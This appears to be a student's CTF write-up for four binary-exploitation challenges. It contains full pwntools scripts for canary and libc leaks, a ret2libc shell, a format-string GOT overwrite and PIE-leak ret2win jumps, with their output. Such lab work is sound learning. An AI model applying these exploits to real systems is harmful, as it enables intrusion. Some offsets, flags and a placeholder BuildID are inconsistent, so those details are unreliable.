

Problem ID	Captured Flags	Steps
Leaks	fsuCTF{ThereIsALeakInTheFunction}	1. Figure out ret2libc vulnerability 2. Use the leaked Canary 3. Leak the address of
iron_throne	fsuCTF{4_l4nni573r_41w4y5_Overwri735_hi5_go7}	1. Figure out format string vulnerability 2. Find offset 3. Place system address with correct arguments and jump to the correct address with that system address to get a shell
gambler1	fsuCTF{if_y0u_wan7_t0_learn_7he_gameb0y}	1. Calculate the PIE Base 2. Craft the Stack Overflow 3. Redirect to the Flag
gambler2	fsuCTF{y0u_g077a_1earn_t0_pl4y_i7_righ7}	1. Similar to last problem 2. Leak addr using format string vuln 3. Use the leaked address to calc base addr and then add offset to win func 4. Run script and get flag

Leaks

```
(.venv)-(kali@kali)-[~/CTFs/CTF_Class/binary_exploitation]
$ checksec leak
[*] '/home/kali/CTFs/CTF_Class/binary_exploitation/Leak'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

(.venv)-(kali@kali)-[~/CTFs/CTF_Class/binary_exploitation]
$ file leak
leak: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6

(.venv)-(kali@kali)-[~/CTFs/CTF_Class/binary_exploitation]
$
```

Leak is a 64-bit binary with a Canary and PIE enabled. So there are random addresses and a canary we need in order to exploit the buffer overflow. Here is the vulnerable function:

```
void vuln(int (*x)(const char*, ...)) {
    char buffer[128];
    void *rbp;
    __asm__("mov %%rbp, %0" : "=r"(rbp));

    printf("Little birdie says '%p'\n", *(long long *)(rbp-8));
    x("Isn't it cool that you can pass functions as arguments?\n");
    fgets(buffer, sizeof(buffer), stdin);
    x(buffer);

    x("What function should I pass in next time? \n");
    scanf("%s", buffer);
}
```

First the canary is leaked on the stack. This is apparent from the “Little birdie” hint and the stack canary lives on `rbp-8`. Next my first thought is a format string vulnerability to leak addresses and hopefully get the address of `libc`. Then the next buffer will be our buffer overflow attack which will contain the payload and overwrite the return address. I need 2 things to make this work, the offset and the offset of the `libc` address. The offset here will be $128 + 8$ (8 because it is 64-bit) so 136 and the `libc` address will be leaked first in order to find the offset. Here is what happens when we try the `%p` format string vulnerability:

```

Little birdie says 0x204e9701c738900
Isn't it cool that you can pass functions as argument
%p %p %p
0xa70252070252070 0x7b3466f1a100 0x7b34670c97a0
What function should I pass in next time?

```

I plugged this into Gemini and it told me the second argument (%2\$p) is the address of the printf function in libc for which we can get the base address simply by just subtracting the address of printf in libc from the leaked address. So now we have all the information we need and we write the following script:

```

from pwn import *

elf = context.binary = ELF('./leak')
libc = ELF('./libc.so.6')
io = remote("ctf.cs.fsu.edu", 65080)

io.recvuntil(b"Little birdie says ")
canary_hex = io.recvuntil(b"", drop=True)
canary = int(canary_hex, 16)
log.success(f"Canary: {hex(canary)}")

io.recvuntil(b"arguments?\n")
io.sendline(b"%2$p")

leak_str = io.recvline().strip()
libc_leak = int(leak_str, 16)
log.info(f"Raw leak from %2$p: {hex(libc_leak)}")

libc.address = libc_leak - libc.symbols['printf']
log.success(f"Calculated Libc Base: {hex(libc.address)}")

rop = ROP(libc)
RET = rop.find_gadget(['ret'])[0]
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
BIN_SH = next(libc.search(b"/bin/sh\x00"))
SYSTEM = libc.symbols['system']

rop_chain = p64(RET) + p64(POP_RDI) + p64(BIN_SH) + p64(SYSTEM)

padding = b"A" * 136
padding2 = b"B" * 8
payload = padding + p64(canary) + padding2 + rop_chain

io.recvuntil(b"time?")
io.sendline(payload)
io.interactive()

```

When ran:

```

Debug info:
[+] Opening connection to ctf.cs.fsu.edu on port 65080: Done
[+] Canary: 0x255c3c2be8f2cf00
[*] Raw Leak from %2$p: 0x70e451706100
[+] Calculated Libc Base: 0x70e4516a2000
[*] Loaded 130 cached gadgets for './libc.so.6'
[*] Switching to interactive mode

$ ls
flag.txt leak
$ cat flag.txt
$ cat flag.txt
fsuCTF{ThereIsALeakInTheFunction}
$
[*] Interrupted
[*] Closed connection to ctf.cs.fsu.edu port 65080

(.venv)-(kali@kali)-[~/CTFs/CTF_Class/binary_exploitation/Leaks]
$

```

Flag: fsuCTF{ThereIsALeakInTheFunction}

Iron_throne

```
(.venv)-(kali㉿kali)-[~/CTFs/CTF_Class/iron_throne]
└─$ checksec iron_throne
[*] '/home/kali/CTFs/CTF_Class/iron_throne/iron_throne'
Arch:          amd64-64-little
RELRO:         Partial RELRO
Stack:         Canary found
NX:            NX enabled
PIE:           No PIE (0x400000)
Stripped:      No

(.venv)-(kali㉿kali)-[~/CTFs/CTF_Class/iron_throne]
└─$ file iron_throne
iron_throne: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically li

(.venv)-(kali㉿kali)-[~/CTFs/CTF_Class/iron_throne]
└─$
```

This is a 64-bit binary with a Canary but no PIE. By looking at the source code I can tell that this is not a normal buffer overflow but rather a full format string vulnerability. We are going to need to find where the buffer starts in memory and find the %p location to put the system return address and the correct parameters in order to get a shell. So from this I automatically create the following script based on the program output (the address of system):

```
from pwn import *

elf = context.binary = ELF('./iron_throne')
p = remote('ctf.cs.fsu.edu', 65039)

p.sendlineafter(b"name: ", b"/bin/sh")

p.recvuntil(b'reads: "')
leak = p.recvuntil(b' "', drop=True)
system_addr = int(leak, 16)
log.success(f"System Address: {hex(system_addr)}")
```

This will give the given address of the system function in libc and log it to ensure I know where it is, now I need to find the location offset of the buffer so I do the following:

```
Leaked system() address: 0x7747bb91a480
[*] Switching to interactive mode

What do you say to the raven? $ %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
The raven squawks your message back: 0x7fff84b122c0(nil)(nil)(nil)0x260x10000001b0x7fff84b126d80x7fff84b126c80x1000122f9%P0
025702570250x70257025502570250x702570250250x702570250250x702570250250x702570250250x702570250250x70250x4000000x400000
it flies off and carries your decree to the Master of Whispers...
Your claim echoes through the Great Hall: ~/bin/sh~
[*] Got EOF while reading in interactive
```

I plug this output into gemini to give me the correct offset so that I do not have to manually do it:

18. `0x7025702570257025` <-- **BINGO!** There is the start of your `msg` buffer (`%p%p%p%p`).

The Golden Offset

You now know that your format string buffer (`msg`) starts exactly at **offset 18**.

This means if you use a format specifier like `%18$n`, `printf` will look exactly at the start of your buffer to find the memory address it should write to.

So now I get creating the full solve script:

```
from pwn import *

elf = context.binary = ELF('./iron_throne')
p = remote('ctf.cs.fsu.edu', 65039)

p.sendlineafter(b"name: ", b"/bin/sh")

p.recvuntil(b'reads: ')
leak = p.recvuntil(b'', drop=True)
system_addr = int(leak, 16)
log.success(f"System Address: {hex(system_addr)}")

offset = 18
payload = fmtstr_payload(offset, {elf.got['fputs']: system_addr})

p.sendlineafter(b"raven? ", payload)

p.interactive()
```

Thankfully pwntool has a very handy method called `fmtstr_payload` which does most of the work for you with the correct inputs. The offset goes first and then the second parameter is a key of `WHERE_TO_PUT` : `WHAT_TO_PUT`. So we want to put the system address over the `fputs` command to run that instead because we already have the `/bin/sh` as an argument using the `name` variable. So it then runs the command `system(/bin/sh)` and we get the following:

```

The raven squawks your message back:
      \x00                                \x00

      8aaaaabaa\x10    
It flies off and carries your decree to the Master of Whispers ...
Your claim echoes through the Great Hall: ~$ ls
flag.txt  iron_throne
$ cat flag.txt
fsuCTF{4_l4nni573r_41w4y5_0verwri735_hi5_go7}
$
[*] Interrupted
[*] Closed connection to ctf.cs.fsu.edu port 65039

```

And get the flag: fsuCTF{4_l4nni573r_41w4y5_Overwri735_hi5_go7}

gambler1

```

(.venv)-(kali kali)-[~/CTFs/CTF_Class/gambler1]
$ checksec gambler_1
[*] '/home/kali/CTFs/CTF_Class/gambler1/gambler_1'
Arch:          amd64-64-little
RELRO:         Partial RELRO
Stack:         No canary found
NX:            NX enabled
PIE:           PIE enabled
Stripped:      No

(.venv)-(kali kali)-[~/CTFs/CTF_Class/gambler1]
$ file gambler_1
gambler_1: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), d

```

This is a 64-bit program with no canary but PIE is enabled. From looking at the source code I need to someone successfully run a function that contains that flag without it being explicitly called. However the program does leak main in its opening message so we do the following in pwntools to start the script:

```

from pwn import *

# Connect to the remote server
io = remote("ctf.cs.fsu.edu", 65045)

# 1. Handle the PIE Leak
io.recvuntil(b"house of the ")
main_leak = int(io.recvuntil(b"!", drop=True), 16)

```

To jump to the “win” function we need to know the offset between main and the function in memory so we do the following objdumps:

```
(.venv)-(kali@kali)-[~/CTFs/CTF_Class/gambler1]
$ objdump -d gambler_1 | grep -A 40 "<main>:"
00000000000001446 <main>:
1446:    55                push    %rbp
```

```
(.venv)-(kali@kali)-[~/CTFs/CTF_Class/gambler1]
$ objdump -d gambler_1 | grep -A 20 "<buy_flag>:"
0000000000000121b <buy_flag>:
121b:    55                push    %rbp
```

So the base address is at main_leak - 0x1446 and the buy_flag is at base_addr + 121b so we reflect that in our script:

```
from pwn import *

io = remote("ctf.cs.fsu.edu", 65045)

io.recvuntil(b"house of the ")
main_leak = int(io.recvuntil(b"!", drop=True), 16)
base_addr = main_leak - 0x1446

target_addr = base_addr + 0x1234
ret_gadget = base_addr + 0x101a
safe_rbp = base_addr + 0x4800

log.success(f"Base Address: {hex(base_addr)}")
log.info(f"Target Jump: {hex(target_addr)}")
```

Now we need to exploit the buffer overflow. First we start by breaking the loop by inputting -1 to break the loop and then we need To reach the Return Address, we need: 32 bytes to fill the bet buffer and reach the Saved RBP. 8 bytes to overwrite the Saved RBP (using a safe writable address in the .bss section). 8 bytes for the ret alignment gadget. 8 bytes for the target_addr (base + 0x1234). So we write the payload using the previous logic:

```
payload = b"-1"
payload += b"A" * (31)
payload += p64(safe_rbp)
payload += p64(ret_gadget)
payload += p64(target_addr)

io.sendlineafter(b"your wager? ", payload)

io.interactive()
```

And we get:

```
(.venv)-(kali@kali)-[~/CTFs/CTF_Class/gambler1]
$ python3 sol.py
[+] Opening connection to ctf.cs.fsu.edu on port 65045: Done
[+] Base Address: 0x60e0db6a4000
[*] Target Jump: 0x60e0db6a5234
[*] Switching to interactive mode
Goodbye!
Here's your flag: fsuCTF{if_y0u_wan7_t0_learn_7he_gameb0y}
```

Flag: fsuCTF{if_y0u_wan7_t0_learn_7he_gameb0y}

gambler-2

```
(.venv)-(kali@kali)-[~/CTFs/CTF_Class/binary_exploitation/gambler2]
$ checksec gambler_2
[*] '/home/kali/CTFs/CTF_Class/binary_exploitation/gambler2/gambler_2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

(.venv)-(kali@kali)-[~/CTFs/CTF_Class/binary_exploitation/gambler2]
$ file gambler_2
gambler_2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically l

(.venv)-(kali@kali)-[~/CTFs/CTF_Class/binary_exploitation/gambler2]
$
```

We have a 64-bit binary with no canary but PIE is enabled. This is very similar to the last problem; it is practically just updated code. So we know the vulnerability and the program already, but let's see what is updated.

```
printf("Welcome to Not-A-Casino, house of the {REDACTED}*\nYou can not-gamble not-
printf("*We found a few flaws in the first program, but we fixed them in this vers
balance = 300;

printf("\nEnter your name: ");
scanf("%39s", name);
getchar(); // Eat newline
sprintf(prefix, "[%s] ", name);
```

We are no longer given the address of main. This is a problem because PIE is enabled so it is different every time. But they give us the name input now which prints out the name everytime you enter a

wager. So now we have the format string vulnerability and put a bunch of %p to print the addresses on the stack. Therefore I do the following:

```
Enter your name: %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
Current Balance: 300
What's your wager? You can't play if you don't pay.

Current Balance: 300
What's your wager? 100
[0x640x620d4897f3140x7ffc502b1f33(nil)0x7ffc502b1f300x7ffc502b20780x64(nil)0x74d532d380000x7ffc502b1f500x620d29c265c6(nil)0x7ffc502b20880x7ffc502b207
```

I plug this into Gemini and ask which one will help me find the main address / which is most similar to a main address and it picked the 11th argument. We need the base address from this main address. After multiple runs I notice it kept ending with 0x15c6 so I subtracted that from the main address to get the base address. Now we need to address offset from the base address to the win function:

```
(.venv)-(kali@kali)-[~/CTFs/CTF_Class/gambler2]
$ objdump -d gambler_2 | grep -A 20 "<buy_flag>:"
000000000000122b <buy_flag>:
122b: 55                push    %rbp
122c: 48 89 e5          mov     %rsp,%rbp
122f: 48 83 ec 50       sub     $0x50,%rsp
1233: 48 8b 15 66 2e 00 00 mov     0x2e66(%rip),%rdx        # 40a0 <balance>
123a: b8 ff ff ff ff   mov     $0xffffffff,%eax
123f: 48 39 c2          cmp     %rax,%rdx
1242: 7e 7c             jle     12c0 <buy_flag+0x95>
1244: 48 8d 15 bd 0d 00 00 lea     0xdbd(%rip),%rdx        # 2008 <_IO_stdin_used+0x8>
124b: 48 8d 05 b8 0d 00 00 lea     0xdb8(%rip),%rax        # 200a <_IO_stdin_used+0xa>
1252: 48 89 d6          mov     %rdx,%rsi
1255: 48 89 c7          mov     %rax,%rdi
1258: e8 63 fe ff ff   call    10c0 <fopen@plt>
125d: 48 89 45 f8       mov     %rax,-0x8(%rbp)
1261: 48 83 7d f8 00    cmpq    $0x0,-0x8(%rbp)
1266: 74 47             je      12af <buy_flag+0x84>
1268: 48 8b 55 f8       mov     -0x8(%rbp),%rdx
126c: 48 8d 45 b0       lea     -0x50(%rbp),%rax
1270: 48 89 d1          mov     %rdx,%rcx
1273: ba 3f 00 00 00    mov     $0x3f,%edx
1278: be 01 00 00 00    mov     $0x1,%esi

(.venv)-(kali@kali)-[~/CTFs/CTF_Class/gambler2]
$
```

Now we have everything we need to write the script:

```

from pwn import *

io = remote("ctf.cs.fsu.edu", 65046)

io.sendlineafter(b"Enter your name: ", b"%11$p")
io.sendlineafter(b"What's your wager? ", b"1")

io.recvuntil(b"[")
leak = int(io.recvuntil(b"]", drop=True), 16)
base_addr = leak - 0x15c6
log.success(f"Calculated Base: {hex(base_addr)}")

io.sendlineafter(b"High or Low? (H/L) ", b"H")

target = base_addr + 0x1244
bss = base_addr + 0x4200 # Tucked closer to .data to prevent page faults

PADDING = 32

payload = b"-1"
payload += b"A" * (PADDING - len(payload))
payload += p64(bss)
payload += p64(target)

io.sendlineafter(b"What's your wager? ", payload)

print(io.recvall(timeout=2).decode(errors='ignore'))

```

We get the leaked main address, turn it into a base address. Then we take that base address and use it to access the buy_flag function. We go farther into the function in order to bypass the check. Then, we get the bss address to provide a stable, writeable "fake stack" for the hijacked function, preventing a crash when the program tries to save local variables to the corrupted memory address we overwrote during the overflow. The offset of the buffer (PADDING) is 32. We use the -1 to break the loop, add the buffer overflow characters, insert the bss and then target on the return address. Then we print anything that is sent after the payload is sent which is the flag as shown here:

```

(.venv)-(kali㉿kali)-[~/CTFs/CTF_Class/binary_exploitation/gambler2]
$ python3 sol.py
[+] Opening connection to ctf.cs.fsu.edu on port 65046: Done
[+] Calculated Base: 0x62c12c319000
[+] Receiving all data: Done (69B)
[*] Closed connection to ctf.cs.fsu.edu port 65046
Goodbye!
Here's your flag: fsuCTF{y0u_g077a_1earn_t0_pl4y_i7_righ7}

```

